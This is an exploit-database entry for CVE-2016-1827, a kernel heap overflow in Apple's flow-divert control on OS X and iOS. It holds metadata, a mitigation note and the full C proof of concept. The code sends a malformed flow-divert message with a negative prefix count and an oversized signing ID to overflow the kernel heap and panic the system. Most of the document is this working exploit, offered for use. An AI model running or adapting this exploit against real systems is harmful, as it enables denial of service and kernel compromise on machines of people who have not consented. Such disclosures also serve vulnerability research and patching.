header-logo
Suggest Exploit
vendor:
Flow Divert
by:
Brandon Azad
7,8
CVSS
HIGH
Heap Overflow
119
CWE
Product Name: Flow Divert
Affected Version From: OS X Yosemite
Affected Version To: OS X El Capitan 10.11.5 and iOS 9.3.2.
Patch Exists: YES
Related CWE: CVE-2016-1827
CPE: OS X and iOS
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: OS X Yosemite
2016

Kernel Heap Overflow in the function flow_divert_handle_app_map_create on OS X and iOS

This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields were changed from 64 bits to 32 bits, so the message structure will need to be updated accordingly. This exploit has not been tested on iOS.

Mitigation:

The vulnerability was patched in OS X El Capitan 10.11.5 and iOS 9.3.2.
Source

Exploit-DB raw data:

/*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
 * 
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
 */

#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
	if (ctlfd == -1) {
		return 1;
	}
	struct ctl_info info = { .ctl_id = 0 };
	strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
	int err = ioctl(ctlfd, CTLIOCGINFO, &info);
	if (err) {
		return 2;
	}
	struct sockaddr_ctl addr = {
		.sc_len     = sizeof(addr),
		.sc_family  = AF_SYSTEM,
		.ss_sysaddr = AF_SYS_CONTROL,
	};
	addr.sc_id = info.ctl_id;
	addr.sc_unit = 0;
	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
	if (err) {
		return 3;
	}
	struct __attribute__((packed)) {
		uint8_t  type;
		uint8_t  pad1[3];
		uint32_t conn_id;
		uint8_t  prefix_count_tag;
		uint64_t prefix_count_length;
		int      prefix_count;
		uint8_t  signing_id_tag;
		uint64_t signing_id_length;
		uint8_t  signing_id[512 + 4];
	} message = {
		.type                = 9,
		.conn_id             = htonl(0),
		.prefix_count_tag    = 28,
		.prefix_count_length = htonl(sizeof(int)),
		.prefix_count        = -2,
		.signing_id_tag      = 25,
		.signing_id_length   = htonl(sizeof(message.signing_id)),
		.signing_id          = { 0xaa },
	};
	write(ctlfd, &message, sizeof(message));
	close(ctlfd);
	return 4;
}